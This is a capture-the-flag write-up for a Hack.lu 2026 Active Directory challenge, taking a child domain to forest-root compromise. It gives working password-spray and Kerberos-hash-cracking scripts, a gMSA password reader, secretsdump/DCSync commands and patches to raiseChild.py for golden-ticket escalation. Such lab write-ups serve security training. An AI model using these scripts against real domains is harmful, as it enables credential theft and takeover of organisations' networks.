$ cat writeup.md…
$ cat writeup.md…
Hack.lu 2026
Task: two-DC AD forest (velocity.hacklu + child old.velocity.hacklu) behind WireGuard; flag split across both Administrator Desktops. Solution: SMB spray on child → RC4 kerberoast → cross-realm gMSA read via child group ACL → NTDS.dit from hidden Backup$ → child DCSync → patched raiseChild inter-realm golden ticket → forest-root DCSync.
Velocity acquired a smaller company and bolted its old domain onto the new one. Migration: a two-week sprint, max. After integration. 'Decommission legacy domain' went straight into the backlog, right behind 'write tests.' The old admins who actually understood the setup didn't make it through the 'agile transformation.' Move fast. Worry later. Disclaimers: Add both Servers to your hosts file! On every Administrator Desktop lies something valuable!
English summary: a two-DC Active Directory forest connected over WireGuard — forest root velocity.hacklu (DC-NEW, 10.244.0.10) with a child domain old.velocity.hacklu (DC-OLD, 10.244.0.20) joined via a bidirectional intra-forest trust. The final flag is split in two halves, one on each DC's Administrator Desktop (C$\Users\Administrator\Desktop\flag.txt). We start with only WireGuard access from an external client host.
Network. WireGuard tunnel: parent DC 10.244.0.10, child DC 10.244.0.20, client in 10.244.2.2/24, MTU 1280. hosts file entries for both DCs are mandatory (the challenge says so, and later exploit steps depend on DNS names). The parent silently drops ICMP and most traffic from the client at first, but Kerberos/LDAP/SMB over the right names/ports work.
Two very different security postures — this asymmetry is the core of the task:
Child old.velocity.hacklu (DC-OLD, 10.244.0.20) | Parent velocity.hacklu (DC-NEW, 10.244.0.10) | |
|---|---|---|
| NTLM | allowed | disabled entirely (SMB → STATUS_NOT_SUPPORTED, LDAP NTLM bind rejected) |
| LDAP | signing required → use LDAPS 636 / GC 3269 | signing required, Kerberos only |
| Kerberos e-types | RC4 permitted | modern only (only krbtgt/kadmin SPNs, no roastables) |
| Password policy | min length 1, no complexity, no lockout | default |
| Enumeration | anonymous SMB/SAMR enabled | locked down |
| ZeroLogon | patched | patched |
Trust: bidirectional parent-child, trustAttributes 0x20 (within forest), trustDirection 3. Domain SIDs — child S-1-5-21-976573591-227444304-1123500008, parent S-1-5-21-274105150-4017454061-1646591600.
BloodHound/SharpHound JSON exports from both domains (collected via LDAPS/GC-LDAPS) revealed the key ACL: child group ServiceAccounts (child RID 0x641) has ReadGMSAPassword on parent gMSA svc_backup_gmsa$ — a cross-domain ACL that survives from the pre-acquisition setup. That is the designed bridge from child to forest root.
rpcclient -U "" -N 10.244.0.20 -c enumdomusers # 28 users rpcclient -U "" -N 10.244.0.20 -c getdompwinfo # min_password_length: 1, no complexity, no lockout
Min length 1 and no lockout make spraying safe. Threaded impacket spray (user==password plus a themed list: migration/temp/granite terms):
#!/usr/bin/env python3 # spray2.py — SMB spray against the child (user==password + themed candidates) from concurrent.futures import ThreadPoolExecutor, as_completed from impacket.smbconnection import SMBConnection HOST, DOMAIN = "10.244.0.20", "old.velocity.hacklu" users = [u.strip() for u in open("users.txt") if u.strip() and u.strip().lower() not in ("krbtgt", "guest")] cands = {"Password1!", "P@ssw0rd", "Summer2021!", "Migrate2021!", "Granite1!", "HackLu2026!", "test", "temp", "svc", ...} for u in users: cands |= {u, u.capitalize(), u.upper(), u+"1", u+"1!", u+"123!"} def attempt(user, pwd): try: c = SMBConnection(HOST, HOST, timeout=8) c.login(user, pwd, DOMAIN); c.logoff() return (user, pwd) except Exception: return None with ThreadPoolExecutor(max_workers=24) as ex: for f in as_completed([ex.submit(attempt, u, p) for u in users for p in cands]): if (r := f.result()): print("[+] VALID:", r)
Result: old\svc_test : svc_test — a helpdesk-created "Temporary migration test account" (username==password; a later MailExport email confirms this is house policy).
With svc_test we request TGS for the service accounts on the child (child permits RC4):
GetUserSPNs.py old.velocity.hacklu/svc_test:svc_test -dc-ip 10.244.0.20 -request # svc_granite_sync SPN: MSSQLSvc/svc_granite_sync -> $krb5tgs$23$*...*
Account description: "Legacy Granite backup sync account — TEMPORARY, remove after migration (2021)", member of child group ServiceAccounts (RID 0x641).
Cracking: hashcat -m 13100 failed on the 1-vCPU CPU-only VDS ("Not enough allocatable device memory"), so a custom multiprocessing Python cracker was used instead — impacket's own RC4 Kerberos crypto over rockyou, ~36k h/s on 10 cores:
#!/usr/bin/env python3 # crack2.py — RC4 TGS cracker using impacket crypto directly (key usage 2) import sys, re, os from multiprocessing import Pool from impacket.krb5.crypto import _RC4 h = open("tgs.txt").read().strip().splitlines()[0] m = re.match(r'^\$krb5tgs\$\d+\$\*[^$]+\$(?P<realm>[^$]+)\$(?P<spn>.+)\*' r'\$(?P<cksum>[0-9a-fA-F]+)\$(?P<edata2>[0-9a-fA-F]+)$', h) BLOB = bytes.fromhex(m.group('cksum') + m.group('edata2')) def work(chunk): for w in chunk: try: key = _RC4.string_to_key(w, '', None) _RC4.decrypt(key, 2, BLOB) # key usage 2 = TGS-REP encrypted part return w except Exception: continue return None words = [w.rstrip('\n') for w in open(sys.argv[1], encoding='latin-1') if w.strip()] with Pool(processes=os.cpu_count()) as pool: for res in pool.imap_unordered(work, [words[i:i+5000] for i in range(0, len(words), 5000)]): if res: print("[+] FOUND password=%r" % res); pool.terminate(); break
Password: Granite00.
As svc_granite_sync we need Kerberos access to the parent (NTLM is dead there). MIT krb5 config — note udp_preference_limit=1 because the 1280-MTU WireGuard tunnel silently drops the ~1900-byte UDP TGS referral packets; TCP must be forced:
# /etc/krb5.conf [libdefaults] udp_preference_limit = 1 [realms] OLD.VELOCITY.HACKLU = { kdc = 10.244.0.20 } VELOCITY.HACKLU = { kdc = 10.244.0.10 } [domain_realm] .old.velocity.hacklu = OLD.VELOCITY.HACKLU .velocity.hacklu = VELOCITY.HACKLU [capaths] OLD.VELOCITY.HACKLU = { VELOCITY.HACKLU = . } VELOCITY.HACKLU = { OLD.VELOCITY.HACKLU = . }
getTGT.py old.velocity.hacklu/svc_granite_sync:Granite00 -dc-ip 10.244.0.20 kvno ldap/dc-new.velocity.hacklu # triggers the cross-realm referral; referral TGT lands in the ccache
impacket.CCache.parseFile picks up the referral TGT, and we authenticate to parent LDAP with it. BloodHound said child ServiceAccounts → svc_backup_gmsa$ on the parent; verify and read the managed password:
#!/usr/bin/env python3 # gmsa2.py — cross-realm LDAP read of the parent gMSA + MSDS_MANAGEDPASSWORD_BLOB parse import struct from binascii import hexlify from impacket.ldap import ldap, ldapasn1 from impacket.krb5.ccache import CCache from Cryptodome.Hash import MD4 DOMAIN, USER = 'OLD.VELOCITY.HACKLU', 'svc_granite_sync' HOST, IP, SPN = 'dc-new.velocity.hacklu', '10.244.0.10', 'ldap/dc-new.velocity.hacklu' dom, usr, TGT, TGS = CCache.parseFile(DOMAIN, USER, SPN) # referral TGT from kvno conn = ldap.LDAPConnection('ldap://%s' % IP, 'DC=velocity,DC=hacklu', HOST) conn.kerberosLogin(USER, '', DOMAIN, '', '', '', kdcHost='10.244.0.20', TGS=TGS) base = 'CN=svc_backup_gmsa,CN=Managed Service Accounts,DC=velocity,DC=hacklu' res = conn.search(searchBase=base, scope=0, # scope is a POSITIONAL int, NOT searchScope= searchFilter='(objectClass=*)', attributes=['msDS-ManagedPassword', 'msDS-GroupMSAMembership']) data = next(bytes(a['vals'][0]) for item in res if isinstance(item, ldapasn1.SearchResultEntry) for a in item['attributes'] if str(a['type']) == 'msDS-ManagedPassword') # MSDS_MANAGEDPASSWORD_BLOB: Version/Reserved/Length + 4 relative offsets ver, rsv, length, cur_off, prev_off, q_off, u_off = struct.unpack('<HHIHHHH', data[:16]) cur_pw = data[cur_off:q_off][:-2] if prev_off == 0 else data[cur_off:prev_off][:-2] h = MD4.new(); h.update(cur_pw) print("svc_backup_gmsa$ NT:", hexlify(h.digest()).decode())
msDS-GroupMSAMembership confirmed the root cause: child group ServiceAccounts (S-1-5-21-<child>-1601) holds ReadGMSAPassword on the parent gMSA (the parent's own -1601 group is also listed). The 2 bytes stripped from the password blob are the trailing NUL. From the MD4 of the current password we also derived AES keys with the gMSA salt VELOCITY.HACKLUhostsvc_backup_gmsa.velocity.hacklu (values redacted here).
As svc_backup_gmsa$ (a parent-domain identity, Kerberos-only) the hidden share Backup$ on dc-new opens up:
README.txt, backup_jobs.logExport\ — NTDS.dit (32 MB) + SYSTEM (14 MB) + _EXPORT_MANIFEST.txtFileServer\ — acquisition draft, salary CSVSQL\ — decoy .bak filesMailExport\ — 4 .eml filesThe MailExport emails are the story: the pre-acquisition audit of Granite flagged RC4 permitted, weak service passwords, anonymous enumeration, and over-broad Backup$ read for service accounts; after cutover all Granite user passwords were force-reset, but service/system accounts were "reviewed separately" (ticket INF-2291) and never reset — so child service/machine secrets in the NTDS export are still current.
smbclient //dc-new.velocity.hacklu/Backup$ -k # Kerberos auth as svc_backup_gmsa$ smb: \> prompt off; recurse; mget Export\NTDS.dit Export\SYSTEM secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL # offline dump of the CHILD domain
Sanity check that the export is fresh: svc_granite_sync's hash in the export equals MD4("Granite00") — the account we just cracked. User hashes are stale (post-cutover reset), but service/system/machine accounts are valid.
The child Domain Controllers group (containing DC-OLD$) has GetChangesAll on the child domain root, so the machine account can DCSync its own domain:
secretsdump.py -hashes :<DC-OLD$_NT> 'old.velocity.hacklu/[email protected]' # → current child Administrator NT (redacted), child krbtgt (redacted), VELOCITY$ trust-account AES keys
(These are current — the export proves machine accounts were never reset.) With the child Administrator NT hash, NTLM SMB (still allowed on the child) gives the first desktop file:
smbclient //10.244.0.20/C$ -U 'old.velocity.hacklu/Administrator' --pw-nt-hash
smb: \> get Users\Administrator\Desktop\flag.txt
Gotcha: the file is UTF-16LE with BOM — more over smbclient prints mangled text; get it and decode locally (open(f,'rb').read().decode('utf-16')). This first half has no closing brace — do not stop here.
Plain cross-domain DCSync from the child DC against the root is denied (DRS_ACCESS_DENIED; the child DC only holds GetChanges on the root via S-1-5-9). The intended path is the classic child-to-root escalation: forge a child golden ticket, obtain an inter-realm referral ticket, and let the parent KDC accept it without SID filtering, attaching the forest-root Enterprise Admins (-519) SID — then DCSync the root. raiseChild.py implements exactly this, but two patches are required because the parent has NTLM disabled:
# impacket/examples/raiseChild.py — patch 1 # Original getMachineName/getDNSMachineName do anonymous NTLM SMB name resolution # against the target DC -> STATUS_NOT_SUPPORTED (0xc00000bb). # Replace with a hosts-file/socket fallback returning the known FQDNs: def getDNSMachineName(self, targetIp): try: return socket.gethostbyaddr(targetIp)[0] # dc-old.old.velocity.hacklu / dc-new.velocity.hacklu except Exception: return {'10.244.0.10': 'dc-new.velocity.hacklu', '10.244.0.20': 'dc-old.old.velocity.hacklu'}[targetIp] # impacket/examples/raiseChild.py — patch 2 # Original getParentSidAndTargetName talks LSAT RPC over SMB to the parent (NTLM again). # Short-circuit it: we already know both answers from recon. def getParentSidAndTargetName(self, *a, **kw): return ('S-1-5-21-274105150-4017454061-1646591600', 'Administrator')
raiseChild.py -hashes :<child_Administrator_NT> old.velocity.hacklu/Administrator
Patched flow (all verified): DCSync the child krbtgt via NTLM (child allows NTLM) → mint a child golden ticket (RC4) → request cross-realm TGS cifs/dc-new.velocity.hacklu from the child KDC, producing a referral TGT encrypted with the inter-realm trust key → parent KDC accepts the intra-forest referral without SID filtering, so the ticket carrying the Enterprise Admins SID grants Enterprise Admin rights → DCSync velocity.hacklu → forest-root Administrator (RID 500) NT hash and root krbtgt secrets (values redacted here).
Anomaly worth remembering: a hand-rolled golden TGT against the child KDC for an in-domain SPN returned
KDC_ERR_TGT_REVOKED, yet raiseChild's golden-ticket → cross-realm referral flow was accepted by the same KDC.
getTGT.py -hashes :<parent_Administrator_NT> velocity.hacklu/Administrator -dc-ip 10.244.0.10 smbclient //dc-new.velocity.hacklu/C$ -k # Kerberos (cifs/dc-new.velocity.hacklu) smb: \> get Users\Administrator\Desktop\flag.txt
Second desktop file retrieved (again UTF-16LE — decode locally). The two halves are one flag: the child file is the opening part (no closing brace), the parent file is the remainder; concatenated they form the final flag in the flag{...} format (flag{REDACTED} — not reproduced here).
0x2028 "stronger auth required" → use LDAPS (636) or GC-over-LDAPS (3269).STATUS_NOT_SUPPORTED (0xc00000bb). raiseChild needs the two patches above.udp_preference_limit = 1 in krb5.conf to force TCP; the challenge config hints at MSS clamping.sitecustomize.py shim mapping hashlib.new('md4')/hashlib.md4 to Cryptodome.Hash.MD4.LDAPConnection.search signature: search(searchBase, scope, ..., searchFilter=..., attributes=...) — scope is a positional int (0 = base), there is no searchScope= kwarg.cat-style reading over impacket smbclient mangles them; get then decode locally.KDC_ERR_TGT_REVOKED, but the golden-ticket → cross-realm referral path is accepted by the same KDC.DRS_ACCESS_DENIED) — the escalation must go through the forged inter-realm ticket, not replication.Use this approach when:
getdompwinfo reports min password length 1 / no lockout → password spraying is safe and cheap.msDS-ManagedPassword over cross-realm Kerberos LDAP.*_EXPORT_MANIFEST.txt, backup-job logs) → offline secretsdump.py ... LOCAL and check hash currency by re-deriving MD4 of a password you already cracked.$krb5tgs$23) and no account lockout → kerberoast + offline crack.udp_preference_limit=1), not a firewall problem.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar